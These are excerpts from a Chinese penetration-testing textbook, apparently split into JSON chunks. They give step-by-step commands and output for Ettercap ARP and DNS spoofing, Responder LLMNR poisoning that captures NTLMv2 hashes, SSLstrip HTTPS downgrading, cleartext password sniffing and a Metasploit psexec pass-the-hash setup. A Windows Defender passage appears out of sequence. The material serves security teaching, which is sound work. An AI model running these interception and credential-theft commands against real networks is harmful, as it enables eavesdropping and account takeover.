    {"text": "执行命令如下： root@daxueba:~# ettercap -G 执行以上命令后，将显示如图3.33所示的窗口。 图3.33 Ettercap主窗口 （5）在该窗口中依次选择Sniff|Unified sniffing命令，将弹出如图3.34所示的对话框。 图3.34 对话框 （6）在该对话框中选择网络接口，这里选择eth0，然后单击“确定”按钮，将返回Ettercap的主窗口，如图3.35所示。 图3.35 Ettercap主窗口 （7）在窗口中依次选择Hosts|Scan for hosts命令，扫描当前网络中的活动主机，扫描完成后将显示如图3.36所示的界面。"},
    {"text": "这里选择主机192.168.1.7作为目标1，网关192.168.1.1作为目标2。 所以选择192.168.1.7，单击Add to Target 1； 选择主机192.168.1.1，单击Add to Target 2。"},
    {"text": "添加成功后，在输出信息的文本框中可以看到添加的主机，如图3.38所示。 图3.37 主机列表 图3.38 添加的目标主机 （10）从图3.38中可以看到分别添加的目标1和目标2。"},
    {"text": "图3.41 插件管理选项卡 （13）在该选项卡中双击dns_spoof插件，即可激活该插件。 当插件被激活后，在插件名前面将出现一个星号，并且在下方的信息输出框中会出现Activating dns_spoof plugin…信息，如图3.42所示。"},
    {"text": "图3.42 dns_spoof插件已激活 图3.43 访问到的页面 （15）从该页面显示的内容可知，这并不是 http://www.baidu.com/ 网站的真实页面，而是攻击主机的钓鱼网站。"},
    {"text": "此时，在Ettercap的文本信息框中也可以看到域名 www.baidu.com 被欺骗解析到IP地址192.168.1.6上，如图3.44所示。 图3.44 被欺骗的域名 也可以使用Ettercap的文本模式来实施DNS欺骗。"},
    {"text": "执行的命令如下： root@daxueba:~# ettercap -Tq -M arp:remote -P dns_spoof /192.168.1.7// /192.168.1.1// ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 00:0C:29:0E:0B:AD 192.168.1.6/255.255.255.0 fe80::20c:29ff:fe0e:bad/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_ tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Scanning for merged targets (2 hosts)... * |==================================================>| 100.00 % 3 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.1.7 00:0C:29:7B:C9:0F GROUP 2 : 192.168.1.1 70:85:40:53:E0:35 Starting Unified sniffing... #开始嗅探 Text only Interface activated... Hit 'h' for inline help Activating dns_spoof plugin... #激活dns_spoof插件 看到以上输出信息，则表示已经成功对目标主机发起了ARP攻击。"},
    {"text": "此时，当目标主机访问任意网站时，将显示如下信息： dns_spoof: A [www.csdn.net] spoofed to [192.168.1.6] 从输出的信息中可以看到，用户访问的所有网站都被欺骗到攻击主机192.168.1.6上了。"},
    {"text": "未知 3.2.4 LLMNR欺骗 Link-Local Multicast Name Resolution（链路本地多播名称解析，简称LLMNR）协议是Windows系统中一种基于DNS包格式的协议。它可以将主机名解析为IPv4和IPv6地址。这样用户就可以直接使用主机名访问特定的主机和服务，而不用记忆对应的IP地址。LLMNR欺骗主要是由于该协议的工作机制所决定的。例如，计算机A和计算机B同处一个局域网中。当计算机A请求主机B时，先以广播形式发送一个包含请求的主机名的UDP包。主机B收到该UDP包后，以单播形式发送UDP的响应包给主机A。整个过程中，由于都是以UDP方式进行，主机A根本不能确认响应主机B是否为该主机名对应的主机，这就造成欺骗的可能。下面将介绍使用Responder工具实施LLMNR欺骗的方法。 Responder是一款专门用于NBNS和LLMNR响应欺骗的工具。该工具内置了HTTP/SMB/MSSQL/FTP/LDAP伪认证服务，支持NTLMv1/NTLMv2/LMv2，并扩展了安全的NTLMSSP基本HTTP认证。Responder工具的语法格式如下： responder [选项] Responder工具常用的命令选项及含义如下： ·-A,--analyze：分析模式。该选项允许用户查看没有响应NBT-NS、BROWSER、LLMNR协议的请求。 ·-I eth0,--interface=eth0：指定用于欺骗的网络接口。 ·-b,--basic：返回一个基本的HTTP认证。 ·-r,--wredir：启用NetBIOS wredir后缀查询应答。 ·-d,--NBTNSdomain：启动NetBIOS域名后缀查询的应答。 ·-f,--fingerprint：允许用户通过指纹识别NBT-NS或LLMNR查询。 ·-w,--wpad：启动WPAD伪代理服务。 ·-F,--ForceWpadAuth：强制在wpad.dat文件检索时实施NTLM/Basic认证。 ·--lm：强制解密Windows XP/2003及更早版本的LM哈希。 ·-h：查看帮助信息。 【实例3-6】 使用Responder工具实施LLMNR欺骗。执行命令如下： root@daxueba:~# responder -I eth0 __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 2.3.3.9 Original work by Laurent Gaffie (lgaffie@trustwave.com) To kill this script hit CRTL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] [+] HTTP Options: Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Fingerprint hosts [OFF] [+] Generic Options: Responder NIC [eth0] Responder IP [192.168.1.104] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Listening for events... 从最后一行显示的信息中可以看到，Responder工具正在监听，表示已成功发起了攻击。此时，在攻击主机上不需要做任何操作。当目标主机通过NBNS或LLMNR协议访问一些被保护的资源时，请求的相关信息将会被捕获到。具体信息如下： [*] [LLMNR] Poisoned answer sent to 192.168.1.103 for name Share-PC [SMB] NTLMv2-SSP Client : 192.168.1.103 [SMB] NTLMv2-SSP Username : WIN-RKPKQFBLG6C\\Administrator [SMB] NTLMv2-SSP Hash Administrator::WIN-RKPKQFBLG6C:1122334455667788:CF286207430D01EAB03485C2D2A7A857:010100000000000046E79B4759C9D101814DD7ECC916CC950000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C000800300030000000000000000000000000300000F6F04FA0A9A716319705D6659D052C8A9E9CBE4E38CD63EA432AE762C784FB000A001000000000000000000000000000000000000900160063006900660073002F004C00590057002D00500043000000000000000000 [SMB] Requested Share : \\\\Share-PC [*] [LLMNR] Poisoned answer sent to 192.168.1.103 for name Share-PC 从以上输出的信息中可以看到，目标主机WIN-RKPKQFBLG6C（192.168.1.103）访问了主机Share-PC上的资源，而且捕获到了目标主机的认证信息。其中，密码是加密的。此时，用户可以使用密码破解工具（如hashcat、john等）暴力破解密码。"},
    {"text": "未知 3.2.5 去除HTTPS加密 HTTPS（Hyper Text Transfer Protocol over Secure Socket Layer，超文本传输安全协议）是以安全为目标的HTTP通道。简单讲是HTTP的安全版，即HTTP下加入SSL层。其中，HTTP协议以明文传输数据，所以用户监听到数据包后，即可查看具体内容。但是HTTPS协议使用SSL对数据进行了加密，如果想要查看到客户端请求的具体内容，则需要进行解密，将其解密为HTTP协议。例如，对使用HTTPS加密的网站，用户可以借助SSLstrip工具来去除HTTPS加密，以获取HTTP协议数据。 【实例3-7】 使用SSLstrip工具监听HTTPS数据。具体操作步骤如下： （1）设置转发，将所有HTTP数据流量重定向到SSLStrip监听的端口。例如，这里设置将80端口的数据重定向到10000端口（可以使用任意值）。执行命令如下： root@daxueba:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 （2）使用SSLStrip实施攻击，并指定监听端口10000上的数据。执行命令如下： root@daxueba:~# sslstrip -l 10000 sslstrip 0.9 by Moxie Marlinspike running... 看到以上输出信息，则表示成功启动了SSLStrip工具，而且会在当前目录中创建一个名为sslstrip.log的文件。 （3）使用Ettercap实施中间人攻击。当客户端访问HTTPS协议的网站时，提交的请求将被写入到sslstrip.log文件中。例如，在客户端登录126邮箱，登录成功后，在sslstrip.log文件中即可看到登录的信息，如下： 从以上显示的信息中可以看到客户端登录126邮箱的相关信息。其中，邮箱用户名为 testuser@126.com ，密码是加密的。 未知 3.3 分析数据 当用户成功嗅探到数据包后，就可以对数据包进行分析，以提取数据信息，如敏感信息、文件和NTLM数据等。本节将介绍如何对数据包进行分析。 未知 3.3.1 网络拓扑分析 在对网络数据分析的时候，渗透测试人员往往只关心数据流向及协议类型，而不关心具体数据包的内容。因为这样可以快速找到网络的关键节点或者重要的协议类型。Kali Linux提供了一个EtherApe工具，可以满足这个需求。该工具支持导入数据包和实时抓包两种方式来获取网络数据。根据获取的数据，它可以实时显示数据流向，并通过颜色标识对应的协议类型。下面将介绍如何使用EtherApe工具分析网络拓扑，以了解其IP地址信息。 Kali Linux默认没有安装EtherApe工具。如果要使用该工具，则需要先安装。执行命令如下： root@daxueba:~# apt-get install etherape 执行以上命令后，如果没有报错，则说明安装成功。接下来就可以使用该工具分析一些IP地址信息了。 1.在线捕获数据包 启动EtherApe工具。执行命令如下： root@daxueba:~# etherape 执行以上命令后，即可启动EtherApe工具。默认将监听接口eth0，并实施捕获其数据包，如图3.45所示。 图3.45 实施捕获数据包 从该窗口中可以看到监听到的数据包。通过单击Pause按钮或Stop按钮，即可暂停或停止捕获数据包。从左侧的Protocols列可以看到捕获到的协议类型；右侧显示了数据流向。其中，连线的粗细表示主机间数据流量的大小。在图3.45所示的窗口中双击某IP地址，将显示该节点的详细信息，如图3.46所示。 图3.46 节点信息 从图3.46所示的窗口中可以看到节点A和节点B之间传输的数据。其中，节点A的IP地址为64.13.192.76；节点B的IP地址为192.168.1.6。此外，还可以看到这两个主机之间传输数据包使用的协议为HTTP，端口为80等信息。单击菜单栏中的Prot按钮，将弹出协议窗口，如图3.47所示。 图3.47 协议对话框 在该窗口中可以看到捕获到的所有协议的数据包，以及每种协议的颜色、端口和数据流大小等信息。在菜单栏中单击Nodes按钮，将弹出所有节点窗口，如图3.48所示。 图3.48 节点对话框 在该窗口中共包括7列信息，分别为Name（主机名）、Address（IP地址）、Inst Traffic（瞬时流量）、Accum Traffic（累计流量）、Avg Size（平均大小）、Last Heard（上次监听时间）和Packets（包数）。通过分析该窗口，可知每个IP地址的数据流信息。 2.导入数据包 用户可以将前面捕获的数据包文件导入到EtherApe工具中，然后对其进行分析。在菜单栏中依次选择File|Open命令，将弹出打开捕获文件对话框，如图3.49所示。 在该对话框中选择要打开的捕获文件，并单击Open按钮，即可成功打开捕获文件。例如，这里打开dump捕获文件，将显示如图3.50所示的界面。 图3.49 打开捕获文件对话框 图3.50 导入的捕获文件 从图3.50中可以看到，成功显示了捕获文件中的数据流向。此时，在菜单栏中单击Nodes按钮，即可查看每个节点的数据流信息。"},
    {"text": "未知 3.3.2 端口服务分析 一些特定网络服务都有固定的端口。例如，Web服务的端口为80；FTP服务的端口为21等。用户通过嗅探目标主机开放的端口，可以推测出其服务类型。netwag工具集中提供了一个工具，可以用来嗅探目标主机中开放的端口。下面将介绍使用netwag工具集嗅探端口的方法，以推测其服务类型。 【实例3-8】 使用netwag工具进行端口服务分析。具体操作步骤如下： （1）启动netwag工具。执行命令如下： root@daxueba:~# netwag 执行以上命令后，将显示如图3.51所示的窗口。 图3.51 netwag工具集 （2）在该窗口中选择第8个工具，即Sniff and display open ports工具，并双击Sniff and display open ports命令，将显示如图3.52所示的窗口。 （3）在该窗口中可以设置监听的设备接口名和过滤器。例如，这里指定监听的设备名为Eth0，仅嗅探TCP端口。在device:device name文本框中指定值为Eth0；在filter:pcap filter文本框中指定值为tcp。此时，单击Run it按钮，将开始嗅探目标主机开放的端口，如图3.53所示。 （4）从该窗口中可以看到，嗅探到了一些主机中开放的端口。例如，主机220.194.95.147中开放的端口为443。由此可以说明，该主机中运行了HTTPS服务。 图3.52 Sniff and display open ports工具 图3.53 嗅探到的端口"},
    {"text": "未知 3.3.3 DHCP/DNS服务分析 DHCP/DNS是最基本的网络服务。当一台主机接入网络中时，首先需要通过DHCP服务获取IP地址，然后使用DNS服务进行IP地址解析以连接到互联网。用户通过探测DHCP服务，可以构建DHCP请求，根据分配的IP地址，发现已经使用的IP地址；通过探测DNS服务器，再根据缓存可知解析过哪些域名。下面将对DHCP/DNS服务进行分析。 1.分析DHCP服务 【实例3-9】 使用netwag工具探测DHCP服务，以分析使用了哪些IP地址。具体操作步骤如下： （1）启动netwag工具。执行命令如下： root@daxueba:~# netwag 执行以上命令后，将显示如图3.54所示的窗口。 （2）在该窗口中双击171:DHCP client工具，将进入DHCP client工具设置对话框，如图3.55所示。 图3.54 netwag工具集 图3.55 DHCP client工具设置对话框 （3）在该对话框中设置欺骗的设备接口、源MAC地址和超时时间。这里指的设备接口为Eth0，MAC地址为00:0C:29:7B:C9:0F。完成设置后，单击Run it按钮即可运行该工具，运行结果如图3.56所示。 （4）从该窗口中可以看到，DHCP Client工具发送了一个DHCP探测请求（DISCOVER）包。此时，通过滚动鼠标即可看到DHCP服务器响应的应答（OFFER）包。通过分析OFFER包，即可知道服务器分配的IP地址，如图3.57所示。 图3.56 运行结果 图3.57 OFFER包 （5）响应的OFFER包只有一个，说明该网络内DHCP服务器只有一个。如果有多个响应，就说明网络内有多个DHCP服务器。而分配给客户端的IP地址为192.168.1.7，说明IP地址192.168.1.1～192.168.1.6已经被分配了。 2.分析DNS服务 如果用户要访问互联网，则必须要使用DNS进行域名解析。通过查看网络中的默认DNS服务器，可以获取其DNS服务器的地址。然后使用DNSRecon工具即可查看该DNS服务器的缓存记录。这样通过分析缓存记录，可以知道局域网中其他用户都访问过哪些网站。其中，使用DNSRecon工具查看DNS服务器缓存记录的语法格式如下： dnsrecon -t snoop -n Server -D <Dict> 以上语法中的选项及含义如下： ·-t snoop：查看DNS服务器缓存记录。 ·-n Server：指定DNS服务器地址。 ·-D <Dict>：指定一个用于暴力破解的子域名文件。 【实例3-10】 分析DNS服务器。具体操作步骤如下： （1）查看网络的默认DNS服务器。在Kali Linux左侧的收藏夹中单击显示应用程序按钮 ，将显示所有的应用程序，如图3.58所示。 图3.58 所有的应用程序 （2）在显示的所有应用程序中找到设置程序，然后单击设置按钮 ，打开“设置”对话框，如图3.59所示。 图3.59 “设置”对话框 （3）从“设置”对话框中可以看到，目前显示的是网络设置界面。如果想要显示其他设置项的话，在左侧栏中选择其他选项即可。从右侧的“有线”列表框中可以看到，当前有线网络已经连接。此时，单击有线连接中的设置按钮 ，将打开有线配置信息对话框，如图3.60所示。 图3.60 有线配置信息对话框 （4）在该对话框中显示了有线网络的详细信息。其中包括IPv4和IPv6地址、硬件地址、默认路由和DNS等。从显示的信息中可以看到，当前主机所在的网络DNS服务器地址为192.168.1.1。接下来，将使用DNSRecon工具查看该服务器的DNS缓存记录。执行命令如下： root@daxueba:~# dnsrecon -t snoop -n 192.168.1.1 -D /usr/share/wordlists/ dnsmap.txt [*] Performing Cache Snooping against NS Server: ['192.168.1.1'] 其中，-D选项指定要探测的域名。从输出的信息可以看到，当前主机正在查看DNS服务器192.168.1.1的DNS缓存记录。 在Kali Linux中，也可以通过命令方式查看DNS服务器地址。其中，用于设置DNS服务器的文件为/etc/resolv.conf。用户通过查看该配置文件即可获取DNS服务器地址，结果如下： root@daxueba:~# cat /etc/resolv.conf # Generated by NetworkManager nameserver 192.168.1.1 nameserver fe80::1%eth0 从输出的结果可以看到，当前网络的DNS服务器地址为192.168.1.1。"},
    {"text": "未知 3.3.4 敏感信息分析 当用户对目标主机实施欺骗后，即可嗅探目标主机的数据包。通过分析数据包，可以获取一些敏感信息，如用户登录名和密码等。对于一些明文传输数据的服务器，如Telnet、FTP和HTTP等，即可看到用户登录的名称和密码。下面将介绍如何对敏感信息进行分析。 【实例3-11】 使用Ettercap实施ARP欺骗，以获取FTP明文密码。具体操作步骤如下： （1）实施ARP欺骗。执行命令如下： root@daxueba:~# ettercap -Tq -M arp:remote /192.168.1.7// /192.168.1.1// ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 00:0C:29:0E:0B:AD 192.168.1.6/255.255.255.0 fe80::20c:29ff:fe0e:bad/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Scanning for merged targets (2 hosts)... * |==================================================>| 100.00 % 2 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.1.7 00:0C:29:7B:C9:0F GROUP 2 : 192.168.1.1 70:85:40:53:E0:35 Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help 如果能看到以上输出信息，则表示成功对目标实施了ARP欺骗。 （2）当客户端访问HTTP服务器并登录该服务器时，即可嗅探到其登录信息。输出信息如下： HTTP : 112.121.182.166:80 -> USER: kalilinux PASS: daxueba INFO: http:// kali.daxueba.net/wp-login.php CONTENT: log=kalilinux&pwd= daxueba &wp-submit=%E7%99%BB%E5%BD%95&redirect_ to=http%3A%2F%2Fkali.daxueba.net%2Fwp-admin%2F&testcookie=1 从输出的信息中可以看到，目标客户端登录了IP地址为112.121.182.166的HTTP服务器。其中，登录的用户名为kalilinux，密码为daxueba。 如果目标主机上搭建了服务器，如FTP、SSH或Telnet等，此时有客户端登录目标主机的这些服务器时，也可以使用Ettercap直接监听其敏感信息。例如，监听目标主机192.168.1.5的FTP和Telnet信息，执行命令如下： root@daxueba:~# ettercap -Tzq /192.168.1.5//21,23 ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 00:0C:29:0E:0B:AD 192.168.1.6/255.255.255.0 fe80::20c:29ff:fe0e:bad/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help 如果看到以上输出信息，则表示正在监听目标主机上21端口和23端口的信息。为了验证测试，这里将在一个客户端上分别登录FTP和Telnet服务器，此时Ettercap即可监听到登录信息。显示的信息如下： FTP : 192.168.1.5:21 -> USER: ftp PASS: daxueba .TELNET : 192.168.1.5:23 -> USER: Administrator PASS: daxueba 从显示的信息中可以看到，客户端访问了主机192.168.1.5的21端口和23端口。其中，登录FTP服务的用户名为ftp，密码为daxueba；登录Telnet服务的用户名为Administrator，密码为daxueba。 未知 1.3 Windows Defender防火墙 Windows Defender防火墙（曾用名Windows Defender AntiVirus）是微软公司自主研发的一款基于Windows的自身保护系统，可以运行在Windows XP和Windows Server 2003操作系统上，并且已内置在Windows Vista、Windows 7、Windows 8和Windows 10中。Windows Defender防火墙不仅可以扫描系统，还可以对系统进行实时监控，清除大多数微软的程序和其他常用程序的历史记录。另外，在Windows 10中，Windows Defender已加入了右键扫描和离线杀毒功能，更好地提高了查杀效率。 默认情况下Windows Defender防火墙已经打开，所以可能会阻止用户连接到特定端口，或者自动杀死一些恶意程序。因此，为了提高渗透测试的成功率，渗透测试过程中需要考虑Windows Defender防火墙的影响。"},
    {"text": "未知 3.3.5 提取文件 用户通过分析捕获的数据包，可以从捕获文件中提取文件。在Wireshark中提供了一个导出对象功能，可以导出使用HTTP协议传输的文件和图片等。如果用户使用被动监听方式捕获到目标主机的数据包，则可以尝试使用这种方法提取目标主机的文件。下面将介绍具体的实现方法。 【实例3-12】 在Wireshark中提取文件。具体操作步骤如下： （1）打开捕获文件，在菜单栏依次选择“文件”|“导出对象”|HTTP命令，将打开“Wireshark·导出·HTTP对象列表”对话框，如图3.61所示。 图3.61 “HTTP对象列表”对话框 （2）在该对话框中共包括5列，分别是分组、主机名、内容类型、大小和文件名。从“内容类型”列中可以看到文件的类型；“大小”列可知文件的大小；“文件名”列则显示了文件名。如果用户想要导出某个文件，首先选择要导出的文件，然后单击Save按钮即可导出文件。例如，这里导出一个图片文件（分组4792），其内容类型为image/jpeg。单击Save按钮，将弹出文件保存对话框，如图3.62所示。 图3.62 保存文件 （3）在该对话框中指定保存文件的名称及位置。这里指定将文件保存到/root中，文件名为test.jpg。然后单击Save按钮文件即可提取成功。此时，可到/root目录中查看提取的文件，如图3.63所示。 图3.63 提取的图片文件 （4）从图3.63中可以看到，成功显示了提取的图片文件。 未知 3.3.6 获取主机名 当用户使用Wireshark被动监听捕获到的数据包后，通过启动“解析网络地址”功能，即可获取源和目标主机的主机名。下面将介绍获取主机名的方法。 【实例3-13】 通过分析捕获的数据包，以获取主机名。具体操作步骤如下： （1）使用Wireshark打开捕获文件，将显示如图3.64所示的窗口。 图3.64 捕获文件 （2）该窗口中显示的是捕获文件中的数据包。从Source和Destination列可以看到，默认显示的是主机的IP地址。此时，在菜单栏中依次选择“视图”|“解析名称”命令，将弹出解析名称菜单，如图3.65所示。 图3.65 解析名称菜单 （3）在该菜单中勾选“解析网络地址”复选框。此时，返回Wireshark的主界面即可看到主机的IP地址被成功解析为主机名，如图3.66所示。 图3.66 成功解析主机名 （4）从该窗口中可以看到，每个数据包中的IP地址都成功解析出了主机名。从分组详情中可以看到每个主机名对应的IP地址。例如，IP地址192.168.1.6的主机名为daxueba。 未知 3.3.7 嗅探NTLM数据 NTLM是NT LAN Manager的缩写，是Windows NT早期版本的标准安全协议，因其向后兼容而被保留了下来。早期的SMB协议在网络上以明文形式传送口令。后来出现LAN Manager Challenge/Response验证机制，简称LM，该协议非常简单导致很容易被破解。后来微软提出了Windows NT挑战/响应验证机制，称之为NTLM。用户使用Ettercap工具也可以嗅探NTLM数据。下面将介绍嗅探NTLM数据的方法。 【实例3-14】 使用Ettercap嗅探NTLM数据。具体操作步骤如下： （1）启动Ettercap工具。执行命令如下： root@daxueba:~# ettercap -G 执行以上命令，将显示如图3.67所示的窗口。 图3.67 Ettercap主窗口 （2）在菜单栏中依次选择Sniff|Unified sniffing命令，弹出网络接口选择对话框，如图3.68所示。 图3.68 设置监听的网络接口 （3）在该对话框中选择网络接口eth0，并单击“确定”按钮，即可对eth0接口的整个网络中的数据包进行监听。例如，在目标主机访问共享文件夹，此时即可监听到NTLM数据，如图3.69所示。 （4）从显示的信息中可以看到，成功嗅探到了NTLM数据。其中，访问共享文件的用户名为Administrator；密码是加密的；主机名为TEST-PC。 图3.69 嗅探到NTLM数据 未知 第4章 Windows密码攻击 “用户名+密码”是Windows系统和相关服务常用的身份验证方式。通过前期的扫描和嗅探，渗透测试人员可以发现主机并确认服务，但具体访问时还需要提供对应的身份信息。为了获取对应的访问权限，就需要进行密码攻击。本章将讲解Windows密码攻击的常用技术。 未知 4.1 密码认证概述 密码认证是一种身份验证方式。为了保证系统和服务安全，Windows提供了完整的密码认证体系。在实施密码攻击之前，读者需要简要了解下Windows密码认证的基本信息，如密码类型、密码漏洞及密码策略等。本节将介绍Windows密码认证的基础知识。"},
    {"text": "未知 4.1.1 Windows密码类型 Windows密码认证协议主要分为基于NTLM的认证和基于Kerberos的认证两种。其中，基于NTLM的认证方式主要用在早期的Windows工作组环境中，认证的过程也相对比较简单；基于Kerberos的认证方式主要用在域环境中，相对于NTLM而言，其认证过程就要复杂很多。因此，使用NTLM认证方式的计算机密码很容易被破解。下面介绍Windows密码格式及类型。 1.网络NTLM NTLM是NT LAN Manager的缩写，是Windows早期版本的标准安全协议。早期SMB协议在网络上直接以明文的形式传输口令。为了安全，出现LAN Manager Challenge/Response验证机制，简称LM。该验证机制仍然很简单，容易被破解。后来微软提出了Windows NT挑战/响应验证机制，称之为NTLM。现在发展到了更新的NTLMv2和Kerberos验证体系。NTLM作为Windows早期安全协议，为了向后兼容而被保留了下来。其中，LM只能存储长度小于等于14个字符的密码Hash值。如果超过14个，Windows将自动使用NTLM对其进行加密。 2.Windows系统下的Hash密码格式 Windows系统在存储用户名的密码时会自动进行哈希加密处理。其存储格式如下： 用户名称:RID:LM-HASH值:NT-HASH值 以上每个部分的含义如下： ·用户名称：Windows系统的用户名。 ·RID：唯一标识符。 ·LM-HASH值：使用LM算法计算出的哈希值。 ·NT-HASH值：使用NTLM算法计算出的哈希值。 3.相对标识符RID 如果要了解RID，则需要理解SID。安全标识符（Security Identifiers，SID）是表示用户、计算机账户的唯一号码。在第一次创建该账户时，将给网络上的每一个账户发布一个唯一的SID。下面是一个典型的SID： S-1-5-21-1683771068-12213551888-624655398-1001 它遵循的模式为S-R-IA-SA-SA-RID。其中，每个部分的含义如下： ·S表示这是一个SID标识符。 ·R表示Revision（修订）。Windows生成的所有SID都使用修订级别1。 ·IA代表颁发机构。在Windows中，几乎所有的SID都指定NT机构作为颁发机构，它的ID编号为5，但是代表已知组合账户的SID例外。 ·SA代表一个子机构，指定特殊的组或职能。例如，21表明SID由一个域控制器或者一台单机颁发。随后的一长串数字（1683771068-12213551888-624655398）就是颁发SID的那个域或机器的SA。 ·RID是指相对ID，是SA所指派的一个唯一的、有顺序的编号，代表一个安全主体（如一个用户、计算机或组）。 在Windows系统中包括一部分已知的RID，范围为500～999，它们被专门保留下来，表示在每个Windows计算机和域中通用的账户和组。另外，一些已知的RID会附加到一个域SID上，从而构成一个唯一的标识符；另一些则附加到Builtin SID（S-1-5-32）上，指出它们是可能具有特权的Builtin账户。其中，一些用户的RID都是固定的。这里将列出常见用户的RID，如表4.1所示。 表4.1 常见用户的RID 【实例4-1】 下面是一个具体的Windows系统用户密码Hash记录。 Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23A A724774CE6CC::: 以上的Hash密码中共包括4部分，分别是用户名、RID、LM-HASH值和NT-HASH值。其中，用户名为Administrator；RID为500；LM-HASH值为C8825DB10F2590EAAAD 3B435B51404EE；NT-HASH值为683020925C5D8569C23AA724774CE6CC。 提示： 由于LM Hash将明文拆分为7字节的块，并且在不足部分进行了填充。因此，如果明文口令最多7个字节，第二部分LM Hash就为AA D3 B4 35 B5 14 04 EE。所以，如果Hash值开始为aad3b435b51404ee的话，则是一个LM哈希；否则，为NT哈希。 4.LM Hash LM Hash是早期IBM设计的算法。该算法的用户密码被限制为最多14个字符。其中，在Windows XP/2000/2003中，系统默认使用LM进行加密。当然，用户也可以手动设置为NTLM。 5.NTLM hash 由于早期IBM设计的LM Hash算法存在弱点，微软在保持向后兼容性的同时提出了自己的挑战响应机制，即NTLM Hash。NTLM Hash通常是指Windows系统下Security Account Manager中保存的用户密码哈希值。通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的Hash。在Windows 2008、Windows 7和Vista中禁用了LM，默认使用NTLM。 6.Net-NTLM hash Net-NTLM Hash通常是指网络环境下NTLM认证中的哈希算法。挑战/响应验证中的响应Response包含Net-NTLM hash，所以用Responder抓取的就是Net-NTLM Hash。在Windows系统中，为了方便网络中的主机之间进行通信，默认都将启用LLMNR和NetBIOS协议。当DNS名称服务器请求失败时，Microsoft Windows系统就会通过链路本地多播名称解析（LLMNR）和Net-BIOS名称服务器，试图在本地进行名称解析。由于这两个协议本身存在缺陷，因此攻击者可以利用其漏洞来实施攻击，以获取Net-NTLM Hash。"},
    {"text": "未知 4.1.2 密码漏洞 密码由用户自己设定，然后由系统进行各种加密和验证。在整个过程中，因为人为和算法等因素，很容易引入各种漏洞。在实施密码攻击之前，了解常用的密码漏洞并进行验证，可以节省很多力气。下面将讲解常见的密码漏洞。 1.弱密码 弱密码就是指简单密码。这里的简单表现在以下几个方面： ·使用纯数字，有规律的构建密码。例如，00000和123456都属于这一类。 ·使用键盘上连续键位构建密码，如qwerty和qweasd。 ·使用IT行业的常见术语作为密码，如admin、password和master。 ·使用常见词汇和语句作为密码，如ilovryou和letmein。 为了方便用户实施密码攻击，这里将分别列举一些国外和国内常见的弱密码，如表4.2和表4.3所示。 表4.2 国外常见的弱密码 表4.3 国内常见的弱密码 2.密码复用 在多个设备或系统中重复使用相同的密码也是一种不安全的方法。当一个系统中的密码被破解或泄露的话，则其他使用该相同密码的设备或系统也就有泄露的风险。针对密码复用的情况，渗透测试人员可以伪造网站和服务，诱骗用户去注册和登录，骗取用户常见的用户名和密码。 3.哈希值泄漏 在Windows系统中，主要使用的密码加密方式就是各类哈希算法。对于一些哈希值，用户可以直接使用，如SMB。如果这些哈希值被泄露的话，相当于攻击者拿到了用户的密码，可以尝试使用这些密码来登录主机。 Metasploit框架中提供了一个模块psexec，该模块可以直接使用Hash值。下面将介绍下具体实现方法。 （1）启动Metasploit终端。执行命令如下： root@daxueba:~# msfconsole （2）加载psexec模块，并查看模块配置选项。执行命令如下： msf5 > use exploit/windows/smb/psexec msf5 exploit(windows/smb/psexec) > show options Module options (exploit/windows/smb/psexec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as 以上输出信息显示了当前模块中的所有配置选项。从以上配置选项中可以看到，该模块可以指定SMB用户和密码。这里即可直接使用SMB哈希值。 （3）配置选项参数。执行命令如下： msf5 exploit(psexec) > set RHOST 192.168.1.9 #设置目标主机地址 RHOST => 192.168.1.9 